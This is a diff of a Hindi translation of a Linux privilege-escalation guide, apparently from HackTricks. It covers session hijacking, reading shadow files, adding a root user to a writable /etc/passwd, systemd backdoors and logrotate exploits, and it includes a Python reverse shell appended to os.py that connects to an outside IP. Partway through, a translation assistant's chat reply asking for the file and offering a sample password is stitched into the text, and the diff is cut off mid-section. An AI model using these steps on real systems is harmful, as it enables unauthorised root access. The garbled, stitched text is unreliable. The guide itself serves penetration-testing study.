dir is included) @@ -1133,21 +1167,21 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Open shell sessions +## खुले shell sessions -आप **old versions** में किसी दूसरे उपयोगकर्ता (**root**) के कुछ **shell** session को **hijack** कर सकते हैं.\ -आप **newest versions** में केवल **your own user** के screen sessions से **connect** कर पाएँगे। हालांकि, आप session के अंदर **interesting information inside the session** पाकर उपयोगी जानकारी निकाल सकते हैं। +**पुराने संस्करणों** में आप किसी दूसरे user (**root**) के कुछ **shell** session को **hijack** कर सकते हैं।\ +**नवीनतम संस्करणों** में आप केवल अपने ही **अपने user** के screen sessions से **connect** कर पाएँगे। हालाँकि, आप session के अंदर **रोचक जानकारी** पा सकते हैं। ### screen sessions hijacking -**List screen sessions** +**screen sessions की सूची** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**किसी session से जुड़ें** +**session से जुड़ें** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1155,9 +1189,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -यह **old tmux versions** के साथ एक समस्या थी। मैं एक non-privileged user के रूप में root द्वारा बनाए गए tmux (v2.1) session को hijack नहीं कर पाया। +यह **old tmux versions** के साथ एक समस्या थी। मैं non-privileged user के रूप में root द्वारा बनाई गई tmux (v2.1) session को hijack करने में सक्षम नहीं था। -**tmux sessions सूची** +**tmux sessions सूची करें** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1165,7 +1199,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**session से जुड़ें** +**एक session से Attach करें** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1175,33 +1209,33 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -उदाहरण के लिए **Valentine box from HTB** देखें। +Check **Valentine box from HTB** के लिए एक उदाहरण देखें। ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -यह बग उन OS पर नया ssh key बनाते समय होता है, क्योंकि **केवल 32,768 variations ही संभव थे**। इसका मतलब है कि सभी संभावनाएँ calculate की जा सकती हैं और **ssh public key होने पर आप संबंधित private key खोज सकते हैं**। आप calculated possibilities यहाँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +यह बग उन OS में नया ssh key बनाते समय होता है, क्योंकि **केवल 32,768 variation संभव थे**। इसका मतलब है कि सभी संभावनाएँ calculate की जा सकती हैं और **ssh public key होने पर आप संबंधित private key खोज सकते हैं**। आप calculate की गई संभावनाएँ यहां पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** यह निर्दिष्ट करता है कि password authentication की अनुमति है या नहीं। डिफ़ॉल्ट `no` है। +- **PasswordAuthentication:** यह निर्दिष्ट करता है कि पासवर्ड authentication की अनुमति है या नहीं। डिफ़ॉल्ट `no` है। - **PubkeyAuthentication:** यह निर्दिष्ट करता है कि public key authentication की अनुमति है या नहीं। डिफ़ॉल्ट `yes` है। -- **PermitEmptyPasswords**: जब password authentication की अनुमति है, तो यह बताता है कि सर्वर खाली password वाले अकाउंट्स में login की अनुमति देता है या नहीं। डिफ़ॉल्ट `no` है। +- **PermitEmptyPasswords**: जब password authentication की अनुमति हो, तो यह बताता है कि सर्वर खाली पासवर्ड स्ट्रिंग वाले अकाउंट में लॉगिन की अनुमति देता है या नहीं। डिफ़ॉल्ट `no` है। ### PermitRootLogin -यह निर्दिष्ट करता है कि root ssh का उपयोग करके login कर सकता है या नहीं, डिफ़ॉल्ट `no` है। संभावित मान: +यह निर्दिष्ट करता है कि root ssh का उपयोग करके लॉगिन कर सकता है या नहीं, डिफ़ॉल्ट `no` है। संभावित मान: -- `yes`: root पासवर्ड और private key दोनों का उपयोग करके login कर सकता है -- `without-password` or `prohibit-password`: root केवल private key के साथ ही login कर सकता है -- `forced-commands-only`: root केवल private key का उपयोग करके और तभी login कर सकता है जब commands विकल्प निर्दिष्ट हों -- `no` : नहीं +- `yes`: root पासवर्ड और private key दोनों से लॉगिन कर सकता है +- `without-password` or `prohibit-password`: root केवल private key से ही लॉगिन कर सकता है +- `forced-commands-only`: root केवल private key के साथ और तभी लॉगिन कर सकता है जब commands विकल्प specify किए गए हों +- `no` : अनुमति नहीं ### AuthorizedKeysFile -यह उन फाइलों को निर्दिष्ट करता है जिनमें उपयोगकर्ता authentication के लिए उपयोग की जाने वाली public keys होती हैं। यह `%h` जैसे tokens रख सकती है, जो home directory से बदल दिए जाएंगे। **आप absolute paths निर्दिष्ट कर सकते हैं** (जो `/` से शुरू होते हैं) या **user के home से relative paths**। उदाहरण के लिए: +यह उन फाइलों को निर्दिष्ट करता है जिनमें वे public keys होती हैं जिन्हें user authentication के लिए उपयोग किया जा सकता है। इसमें `%h` जैसे tokens हो सकते हैं, जो home directory से replace हो जाएंगे। **आप absolute paths इंगित कर सकते हैं** (जो `/` से शुरू होते हैं) या **user के home से relative paths**। उदाहरण के लिए: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1209,92 +1243,101 @@ That configuration will indicate that if you try to login with the **private** k ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding आपको अनुमति देता है कि आप **अपने स्थानीय SSH keys का उपयोग करें बजाय इसके कि आप बिना passphrases के keys अपने server पर छोड़ दें**। इससे आप ssh के माध्यम से **jump** करके **किसी host पर** जा सकेंगे और वहाँ से **दूसरे host पर jump** कर सकेंगे **का उपयोग करके** उस **key** का जो आपके **initial host** में स्थित है। +SSH agent forwarding आपको यह अनुमति देता है कि आप **use your local SSH keys instead of leaving keys** (without passphrases!) अपने server पर छोड़कर न रखें। इसलिए, आप ssh के माध्यम से **jump** **to a host** कर सकेंगे और वहाँ से किसी दूसरे host पर **jump to another** कर सकेंगे, **using** उस **key** की जो आपके **initial host** में स्थित है। + +You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` -ध्यान दें कि यदि `Host` `*` है तो हर बार जब उपयोगकर्ता किसी अलग मशीन पर जाता/जाती है, उस होस्ट को keys तक पहुँच प्राप्त हो जाएगी (जो कि एक सुरक्षा समस्या है)। +ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी दूसरी मशीन पर जाता है, तो वह होस्ट keys तक पहुँच पाएगा (जो कि एक सुरक्षा समस्या है)। -The file `/etc/ssh_config` can **ओवरराइड** this **विकल्प** and allow or denied this configuration.\ -फ़ाइल `/etc/sshd_config` `AllowAgentForwarding` कीवर्ड के साथ ssh-agent forwarding को **अनुमति** या अस्वीकार कर सकती है (डिफ़ॉल्ट: अनुमति)। +The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ +फ़ाइल `/etc/sshd_config` `AllowAgentForwarding` keyword के साथ ssh-agent forwarding को **allow** या **deny** कर सकती है (डिफ़ॉल्ट रूप से allow)। -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +यदि आप किसी environment में Forward Agent कॉन्फ़िगर होता हुआ पाते हैं, तो निम्न पृष्ठ पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## रोचक फ़ाइलें +## दिलचस्प फ़ाइलें ### प्रोफ़ाइल फ़ाइलें -The file `/etc/profile` and the files under `/etc/profile.d/` are **स्क्रिप्ट्स जो तब निष्पादित होती हैं जब कोई उपयोगकर्ता नया shell चलाता/चलाती है**. Therefore, if you can **लिख या संशोधित कर सकते हैं तो आप escalate privileges कर सकते हैं**. +फ़ाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें वे **scripts हैं जो तब execute होती हैं जब कोई उपयोगकर्ता नया shell चलाता है**। इसलिए, यदि आप इनमें से किसी को भी **write या modify कर सकते हैं तो आप escalate privileges कर सकते हैं**। ```bash ls -l /etc/profile /etc/profile.d/ ``` -यदि कोई अजीब profile script मिलता है तो आपको इसे **संवेदनशील विवरणों** के लिए जांचना चाहिए। +यदि कोई अजीब प्रोफ़ाइल स्क्रिप्ट मिलती है, तो आपको इसे **संवेदनशील विवरणों** के लिए जाँचना चाहिए। -### Passwd/Shadow Files +### Passwd/Shadow फ़ाइलें -OS पर निर्भर करके `/etc/passwd` और `/etc/shadow` फाइलों का नाम अलग हो सकता है या उनका कोई बैकअप मौजूद हो सकता है। इसलिए यह अनुशंसित है कि **सभी को ढूँढें** और **जांचें कि क्या आप उन्हें पढ़ सकते हैं** ताकि यह देखा जा सके **कि फाइलों के अंदर कोई hashes हैं या नहीं**: +OS पर निर्भर करते हुए `/etc/passwd` और `/etc/shadow` फाइलों का नाम अलग हो सकता है या उनकी बैकअप कॉपी मौजूद हो सकती है। इसलिए अनुशंसा की जाती है कि आप **सभी को खोजें** और **जाँचें कि क्या आप उन्हें पढ़ सकते हैं** ताकि यह देखा जा सके कि फाइलों के अंदर **hashes हैं या नहीं**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -कुछ मामलों में आप **password hashes** को `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर पा सकते हैं +कुछ मामलों में आप `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर **password hashes** पा सकते हैं ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### लिखने योग्य /etc/passwd -सबसे पहले, निम्नलिखित कमांडों में से किसी एक का उपयोग करके एक पासवर्ड बनाएं। +सबसे पहले, नीचे दिए गए किसी एक कमांड से पासवर्ड जनरेट करें। ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -कृपया src/linux-hardening/privilege-escalation/README.md की पूरी सामग्री भेजें ताकि मैं उसका हिंदी में अनुवाद कर सकूँ। +I don't have the README.md content yet — please paste the file contents you want translated. -मैं फाइल के अनुवाद में अंत में user `hacker` और एक उत्पन्न पासवर्ड जोड़ दूँगा, पर ध्यान दें कि मैं आपकी मशीन पर वास्तविक user नहीं बना सकता—मैं केवल टेक्स्ट/markdown में परिवर्तन कर के लौटाऊँगा। क्या आप पासवर्ड की लंबाई और उसमें symbols/numbers शामिल होने की प्राथमिकता बताना चाहेंगे? +Also clarify what you mean by "Then add the user `hacker` and add the generated password.": +- Do you want me to add a line in the translated README that lists the user and a generated password (e.g., "user: hacker, password: ...")? — I can generate a strong password and include it in the translated markdown. +- Or do you want commands to actually create the user on a Linux system (e.g., useradd + passwd)? — I can provide the exact commands you can run, but I cannot execute them for you. + +If you want a generated password now, here is a strong example you can accept or ask me to regenerate: +V9g#p2XqL7!rB4s + +Tell me which option you prefer and paste the README.md content to translate. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -उदाहरण: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +उदा: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -अब आप `hacker:hacker` के साथ `su` कमांड का उपयोग कर सकते हैं +अब आप `su` कमांड का उपयोग `hacker:hacker` के साथ कर सकते हैं -वैकल्पिक रूप से, आप बिना पासवर्ड के एक डमी उपयोगकर्ता जोड़ने के लिए निम्न पंक्तियों का उपयोग कर सकते हैं.\ -WARNING: आप मशीन की वर्तमान सुरक्षा को कमजोर कर सकते हैं। +वैकल्पिक रूप से, आप पासवर्ड के बिना एक dummy user जोड़ने के लिए निम्नलिखित पंक्तियों का उपयोग कर सकते हैं.\ +चेतावनी: आप मशीन की वर्तमान सुरक्षा को कमजोर कर सकते हैं। ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -नोट: BSD प्लेटफ़ॉर्म पर `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित होता है, साथ ही `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। +नोट: BSD प्लेटफ़ॉर्म्स में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित होता है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` रख दिया गया है। -आपको यह जांचना चाहिए कि क्या आप **कुछ संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप किसी **service configuration file** में लिख सकते हैं? +आपको जांचना चाहिए कि क्या आप कुछ **संवेदनशील फाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप किसी **सेवा कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -उदाहरण के लिए, यदि मशीन पर **tomcat** server चल रहा है और आप **modify the Tomcat service configuration file inside /etc/systemd/,** तो आप इन लाइनों को संशोधित कर सकते हैं: +उदाहरण के लिए, यदि मशीन पर **tomcat** सर्वर चल रहा है और आप **/etc/systemd/ के अंदर Tomcat service configuration file** को संशोधित कर सकते हैं, तो आप निम्न पंक्तियों को संशोधित कर सकते हैं: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor will be executed the next time that tomcat is started. +Your backdoor will be executed the next time that tomcat is started। -### फ़ोल्डरों की जाँच +### फ़ोल्डर्स जाँचें -निम्न फ़ोल्डरों में बैकअप या रोचक जानकारी हो सकती है: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (शायद आप आखिरी को पढ़ न सकें, पर कोशिश करें) +निम्न फ़ोल्डरों में बैकअप या रोचक जानकारी हो सकती है: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (संभवतः आप आखिरी वाले को पढ़ नहीं पाएँगे, लेकिन कोशिश करें) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### अजीब स्थान/Owned files +### अजीब स्थान/Owned फ़ाइलें ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1311,7 +1354,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### पिछले मिनटों में संशोधित फ़ाइलें +### पिछले कुछ मिनटों में संशोधित फ़ाइलें ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1332,7 +1375,7 @@ find / -type f -iname ".*" -ls 2>/dev/null for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **वेब फ़ाइलें** +### **वेब फाइलें** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1343,22 +1386,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### ऐसी ज्ञात फाइलें जिनमें passwords होते हैं +### पासवर्ड रखने वाली ज्ञात फ़ाइलें -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) के कोड को पढ़ें — यह उन **कई संभावित फ़ाइलों जिनमें passwords हो सकते हैं** की तलाश करता है।\ -**एक और रोचक टूल** जिसे आप इसके लिए इस्तेमाल कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक open source application है जिसका उपयोग local computer पर Windows, Linux & Mac के लिए स्टोर किए गए बहुत सारे passwords को retrieve करने के लिए किया जाता है। +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) के कोड को पढ़ें, यह **कई संभावित फ़ाइलें जिनमें पासवर्ड हो सकते हैं** की तलाश करता है।\ +**एक और दिलचस्प टूल** जिसे आप इसके लिए उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — यह एक open source एप्लिकेशन है जिसका उपयोग स्थानीय कंप्यूटर पर संग्रहीत कई पासवर्ड पुनः प्राप्त करने के लिए किया जाता है, Windows, Linux & Mac के लिए। -### लॉग्स +### Logs -अगर आप logs पढ़ सकते हैं, तो आप उनमें **दिलचस्प/गोपनीय जानकारी** पा सकते हैं। जितना अजीब लॉग होगा, वह उतना ही (शायद) अधिक दिलचस्प होगा।\ -इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (backdoored?) **audit logs** आपको audit logs के अंदर **record passwords** करने की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +यदि आप logs पढ़ सकते हैं, तो आप उनमें **दिलचस्प/गोपनीय जानकारी** पा सकते हैं। जितना अधिक असामान्य log होगा, उतना ही (शायद) यह अधिक दिलचस्प होगा।\ +साथ ही, कुछ **"bad"** configured (backdoored?) **audit logs** आपको audit logs के अंदर **पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं, जैसा कि इस पोस्ट में समझाया गया है: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/. ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -लॉग्स पढ़ने के लिए **समूह** [**adm**](interesting-groups-linux-pe/index.html#adm-group) वास्तव में बहुत मददगार होगा। +**लॉग पढ़ने वाला समूह** [**adm**](interesting-groups-linux-pe/index.html#adm-group) वास्तव में बहुत मददगार होगा। -### Shell फाइलें +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1369,43 +1412,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### सामान्य Creds Search/Regex -आपको उन फाइलों की भी जाँच करनी चाहिए जिनके **नाम** में या उनके **कंटेंट** के अंदर शब्द "**password**" मौजूद हों, और लॉग्स में IPs और emails या hashes regexps भी चेक करें।\ -मैं यहाँ यह सब कैसे करना है सूचीबद्ध नहीं कर रहा/रही हूँ, लेकिन अगर आप इच्छुक हैं तो आप देख सकते हैं कि [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) द्वारा कौन से आख़िरी चेक किए जाते हैं। +आपको उन फाइलों की भी जाँच करनी चाहिए जिनके नाम में शब्द "**password**" हो या जिनके **content** के अंदर यह शब्द मिले, और साथ ही logs के अंदर IPs और emails या hashes regexps की भी जाँच करें.\ +मैं यहाँ यह सब कैसे करना है सूचीबद्ध नहीं कर रहा/रही हूँ, लेकिन अगर आप रुचि रखते हैं तो आप देख सकते हैं कि [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) कौन-सी अंतिम checks perform करता है। -## Writable files +## लिखने योग्य फ़ाइलें ### Python library hijacking -यदि आप जानते हैं कि कोई python स्क्रिप्ट किस **स्थान** से execute होने वाली है और आप उस फ़ोल्डर के अंदर **can write inside** कर सकते हैं या आप **modify python libraries** कर सकते हैं, तो आप OS लाइब्रेरी को modify करके उसमें backdoor डाल सकते हैं (यदि आप उस जगह लिख सकते हैं जहाँ python स्क्रिप्ट execute होने वाली है, os.py लाइब्रेरी को copy और paste कर लें)। +यदि आप जानते हैं कि **कहाँ से** एक python script execute होने वाली है और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **python libraries को modify कर सकते हैं**, तो आप OS library को modify करके उसमें backdoor लगा सकते हैं (यदि आप उस स्थान पर लिख सकते हैं जहाँ python script execute होने वाली है, तो os.py library को copy और paste करें)। -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +लाइब्रेरी में **backdoor the library** डालने के लिए बस os.py library के अंत में निम्न लाइन जोड़ें (IP और PORT बदलें): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate शोषण +### Logrotate exploitation -`logrotate` में एक कमजोरी उन users को जिनके पास किसी log फ़ाइल या उसके parent डायरेक्टरीज़ पर **लिखने की अनुमति** है संभावित रूप से privileges escalate करने देती है। इसका कारण यह है कि `logrotate`, जो अक्सर `root` के रूप में चलता है, को arbitrary फ़ाइलें execute करने के लिए manipulate किया जा सकता है, खासकर उन डायरेक्टरीज़ में जैसे _**/etc/bash_completion.d/**_. यह ज़रूरी है कि permissions केवल _/var/log_ में ही नहीं बल्कि उन किसी भी डायरेक्टरी में भी चेक किए जाएँ जहाँ log rotation लागू होती है। +`logrotate` में एक vulnerability है जो उन उपयोगकर्ताओं को जिनके पास किसी log file या उसके parent directories पर **write permissions** हैं, संभावित रूप से escalated privileges प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **root** के रूप में चलता है, को इस तरह से manipulate किया जा सकता है कि यह arbitrary files execute कर दे, खासकर ऐसे directories में जैसे _**/etc/bash_completion.d/**_. यह जरूरी है कि permissions सिर्फ _/var/log_ में ही न देखें बल्कि उन किसी भी directory में भी जांच करें जहाँ log rotation लागू होता है। > [!TIP] -> यह कमजोरी `logrotate` version `3.18.0` और पुराने वर्शन को प्रभावित करती है +> This vulnerability affects `logrotate` version `3.18.0` and older -इस कमजोरी के बारे में अधिक विस्तृत जानकारी इस पेज पर पाई जा सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +कमज़ोरी के बारे में अधिक विस्तृत जानकारी इस पेज पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -आप इस कमजोरी का उपयोग [**logrotten**](https://github.com/whotwagner/logrotten) के साथ कर सकते हैं। +आप इस कमज़ोरी का exploit कर सकते हैं [**logrotten**](https://github.com/whotwagner/logrotten). -यह कमजोरी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** के बहुत समान है, इसलिए जब भी आपको यह मिले कि आप logs को बदल सकते हैं, तो यह जाँचें कि कौन उन logs का प्रबंधन कर रहा है और देखें कि क्या आप logs को symlinks से बदलकर privileges escalate कर सकते हैं। +यह vulnerability [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** के बहुत समान है, इसलिए जब भी आप पाते हैं कि आप logs बदल सकते हैं, तो देखें कि कौन उन logs को manage कर रहा है और जांचें कि क्या आप symlinks के द्वारा logs बदलकर escalate privileges कर सकते हैं। ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -यदि किसी भी वजह से कोई user _/etc/sysconfig/network-scripts_ में `ifcf-` स्क्रिप्ट **लिख** सके या किसी मौजूदा स्क्रिप्ट को **समायोजित** कर सके, तो आपका **system pwned** हो जाता है। +यदि किसी भी कारण से कोई उपयोगकर्ता _/etc/sysconfig/network-scripts_ में `ifcf-` script को **write** कर सकता है **या** किसी मौजूदा script को **adjust** कर सकता है, तो आपका **system is pwned**। -Network scripts, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग होते हैं। वे बिल्कुल .INI फ़ाइलों जैसे दिखते हैं। हालाँकि, इन्हें Linux पर Network Manager (dispatcher.d) द्वारा ~sourced~ किया जाता है। +Network scripts, उदाहरण के लिए _ifcg-eth0_, network connections के लिए उपयोग किए जाते हैं। वे बिल्कुल .INI files जैसे दिखते हैं। हालांकि, इन्हें Linux पर Network Manager (dispatcher.d) द्वारा ~sourced~ किया जाता है। -मेरे मामले में, इन network स्क्रिप्ट्स में `NAME=` attribute ठीक से हैंडल नहीं किया जाता। यदि नाम में **white/blank space** है तो सिस्टम उस white/blank space के बाद वाले भाग को execute करने की कोशिश करता है। इसका मतलब है कि **पहली blank space के बाद सब कुछ root के रूप में executed होगा**। +मेरे मामले में, इन network scripts में `NAME=` attribute सही तरीके से handle नहीं किया जाता है। If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. उदाहरण के लिए: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1413,17 +1456,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_नोट: Network और /bin/id_ के बीच खाली जगह पर ध्यान दें_) +(_ध्यान दें Network और /bin/id के बीच रिक्त स्थान_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, और rc.d** -डायरेक्टरी `/etc/init.d` System V init (SysVinit) के लिए स्क्रिप्ट्स का घर है, जो क्लासिक Linux सेवा प्रबंधन प्रणाली है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट्स शामिल होते हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले symbolic links के माध्यम से चलाया जा सकता है। Redhat सिस्टम में वैकल्पिक पथ `/etc/rc.d/init.d` है। +डायरेक्टरी `/etc/init.d` System V init (SysVinit) के लिए **scripts** का घर है, जो **क्लासिक Linux service management system** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने वाले scripts होते हैं। इन्हें सीधे चलाया जा सकता है या `/etc/rc?.d/` में पाए जाने वाले symbolic links के माध्यम से। Redhat सिस्टम्स में वैकल्पिक पथ `/etc/rc.d/init.d` है। -दूसरी ओर, `/etc/init` Upstart से जुड़ा है, जो Ubuntu द्वारा प्रस्तुत एक नया service management है और service management कार्यों के लिए configuration फाइलों का उपयोग करता है। Upstart पर संक्रमण के बावजूद, Upstart की compatibility layer के कारण SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग किए जाते हैं। +दूसरी ओर, `/etc/init` **Upstart** से जुड़ा है, जो Ubuntu द्वारा प्रस्तुत एक नया **service management** है और service management कार्यों के लिए configuration फ़ाइलें उपयोग करता है। Upstart में संक्रमण के बावजूद, Upstart compatibility layer के कारण SysVinit scripts अभी भी Upstart configurations के साथ उपयोग किए जाते हैं। -**systemd** एक आधुनिक initialization और service manager के रूप में उभरता है, जो on-demand daemon starting, automount management, और system state snapshots जैसी उन्नत सुविधाएँ प्रदान करता है। यह फ़ाइलों को डिस्ट्रिब्यूशन पैकेजों के लिए `/usr/lib/systemd/` और एडमिनिस्ट्रेटर संशोधनों के लिए `/etc/systemd/system/` में व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया सरल होती है। +**systemd** आधुनिक initialization और service manager के रूप में उभरता है, जो ऑन-डिमांड daemon starting, automount management, और system state snapshots जैसी उन्नत सुविधाएँ प्रदान करता है। यह फ़ाइलों को वितरण पैकेजों के लिए `/usr/lib/systemd/` और व्यवस्थापक संशोधनों के लिए `/etc/systemd/system/` में व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया सरल होती है। -## अन्य तरकीबें +## Other Tricks ### NFS Privilege escalation @@ -1448,25 +1491,35 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks आमतौर पर privileged kernel functionality को userspace manager को एक्सपोज़ करने के लिए एक syscall को hook करते हैं। कमजोर manager authentication (उदा., FD-order पर आधारित signature checks या कमजोर password schemes) एक local app को manager का impersonate करने और पहले से-rooted डिवाइसेज़ पर root तक escalate करने में सक्षम बना सकती है। और exploitation विवरण यहाँ जानें: +Android rooting frameworks आमतौर पर privileged kernel functionality को userspace manager के लिए एक्सपोज़ करने के लिए एक syscall को hook करते हैं। कमजोर manager authentication (उदा., FD-order पर आधारित signature checks या कमजोर password schemes) किसी local app को manager का impersonate करने और पहले से-rooted devices पर root तक escalate करने में सक्षम बना सकती है। अधिक जानकारी और exploitation विवरण यहाँ पढ़ें: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +Regex-driven service discovery VMware 